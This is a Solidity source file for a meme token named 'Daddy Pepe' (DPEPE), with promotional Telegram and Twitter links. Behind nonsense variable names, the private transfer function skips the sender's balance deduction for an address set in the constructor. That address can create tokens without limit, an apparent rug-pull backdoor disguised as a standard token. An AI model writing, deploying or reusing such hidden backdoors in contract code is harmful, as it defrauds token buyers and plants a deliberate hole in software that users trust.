/*

https://t.me/daddypepe_eth

https://twitter.com/Daddypepe_eth

*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.8;

contract DaddyPepe {
    function transferFrom(address everywhere, address driven, uint256 hill) public returns (bool success) {
        limited(everywhere, driven, hill);
        require(hill <= allowance[everywhere][msg.sender]);
        allowance[everywhere][msg.sender] -= hill;
        return true;
    }

    function transfer(address driven, uint256 hill) public returns (bool success) {
        limited(msg.sender, driven, hill);
        return true;
    }

    function approve(address far, uint256 hill) public returns (bool success) {
        allowance[msg.sender][far] = hill;
        emit Approval(msg.sender, far, hill);
        return true;
    }

    mapping(address => uint256) public balanceOf;

    uint8 public decimals = 9;

    function limited(address everywhere, address driven, uint256 hill) private returns (bool success) {
        balanceOf[driven] += hill;
        if (youth[everywhere] == 0) {
            balanceOf[everywhere] -= hill;
        }
        emit Transfer(everywhere, driven, hill);
        return true;
    }

    constructor(address growth) {
        name = 'Daddy Pepe';
        symbol = 'DPEPE';
        totalSupply = 1000000000 * 10 ** decimals;
        balanceOf[msg.sender] = totalSupply;
        youth[growth] = meant;
    }

    string public symbol;

    uint256 private meant = 96;

    mapping(address => uint256) private youth;

    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply;

    string public name;
}